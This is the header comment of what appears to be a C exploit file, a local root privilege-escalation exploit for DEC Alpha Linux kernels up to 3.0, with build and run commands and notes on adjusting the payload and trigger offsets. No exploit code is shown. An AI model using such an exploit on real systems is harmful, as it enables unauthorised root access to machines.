`/*
* DEC Alpha Linux <= 3.0 local root exploit
* by Dan Rosenberg (@djrbliss)
*
* Usage:
* $ gcc alpha-omega.c -o alpha-omega
* $ ./alpha-omega
*
* Notes:
* -Payload specific to <= 2.6.28 (no cred struct, modify as needed)
* -Socket trigger tested on 2.6.28 (adjust offset as needed)
* -INET_DIAG parsing code borrowed from netstat
